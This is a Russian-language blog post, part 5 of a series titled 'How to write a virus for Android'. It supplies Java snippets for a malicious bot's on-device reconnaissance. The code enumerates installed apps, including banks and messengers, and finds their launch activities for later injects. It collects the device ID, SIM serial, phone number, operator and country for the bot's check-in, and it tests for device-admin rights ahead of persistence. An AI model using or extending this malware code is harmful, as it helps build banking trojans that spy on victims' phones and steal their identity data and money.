Как написать вирус для Андроид. Часть 5

Доброго времени суток, в предыдущих статьях мы рассмотрели основные моменты и теперь должны понять как вести себя внутри телефона. Для этого нужно знать: списки установленных приложений, месенджеров, банков и так далее.



Друг вокруг

Первым делом окинем взором окрестности, напишем простой и незамысловатый код:

PackageManager pm = cnt.getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
for (ApplicationInfo packageInfo : packages) {
   try{    
       //packageInfo.packageName
       //packageInfo.sourceDir
       //pm.getLaunchIntentForPackage(packageInfo.packageName)
   } catch (JSONException e) {

   }
}

packageInfo.packageName – это имя пакета
packageInfo.sourceDir – путь к корневой папке приложения
pm.getLaunchIntentForPackage (packageInfo.packageName) – имя запускаемой
Activity, очень важный параметр для инжектов, мы это опишем в дальнейших частях.

Этой информации будет достаточно, чтобы понять какие и где стоят приложения. Если рассмотреть класс packageInfo, там будет больше информации, но она не особо интересна. В реальном коде Try и JSONException использовать не обязательно.

Собираем информацию о системе

Создаем объект телефонного менеджера.

TelephonyManager tm = (TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE);
tm.getDeviceId()

Возвращает ID устройства, который можно использовать в отстуке, так как это уникальное значение для каждого аппарата, которое нельзя изменить.

tm.getNetworkCountryIso()

Получаем страну устройства

tm.getSimOperatorName()

Получаем сотового оператора.

android.os.Build.VERSION.RELEASE

Очень важный параметр, вам придется его часто использовать. Почему? Некоторые фишки работают только для 2.х или 4.х телефонов. И нам придется разграничивать из вручную. Может быть так, что системная функция устарела, или изменила число параметров. В этом случае мы прибегаем к SDK и параметру.

Пример:

if(Build.VERSION.SDK_INT >= 19) {
//работаем с версией 4.х
}else{
//работаем с версией 2.х
}
android.os.Build.MODEL

Получаем модель устройства, важный параметр, ибо чем сложнее бот, тем больше приходится учитывать специфику разных прошивок.

tm.getLine1Number()

Параметр иногда возвращает номер телефона, иногда нет. Нужен для идентификации самого абонента. Так же по номеру можно узнавать город и оператора.

tm.getSimSerialNumber()

Серийный номер сим карты.

Будьте бдительны, последние два параметра указаны для телефонов с 1 сим-картой. Для двух, команды похожие, но это нужно контролировать.

Админ, ты где?

Рассмотрим проверку, есть ли у нас права администратора. Само получение оставим до следующих статей про закрепление.

DevicePolicyManager deviceManager = (DevicePolicyManager) context.getSystemService(context.DEVICE_POLICY_SERVICE);
ComponentName componentName = new ComponentName(context, CAdm.class);
if (!deviceManager.isAdminActive(componentName)) {
//нету админа
}else{
//есть админ
}

Приплыли

Это минимальный список параметров, которые мы должны обязательно обработать, чтобы правильно принимать решение в среде чужого телефона. Обычно их включают в отстук и они могут измениться. Поэтому проверяй-те их почаще.

Предыдущие материалы:

Как написать вирус для Андроид. Часть 4

Как написать вирус для Андроид. Часть 3

Как написать вирус для андроид. Часть 2

Как написать вирус для андроид.

Вирусы для андроид — Taidoor, IXESHE и СozyDuke

Click to rate this post!
[Total: 11 Average: 3]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

1 comments On Как написать вирус для Андроид. Часть 5

Leave a reply:

Your email address will not be published.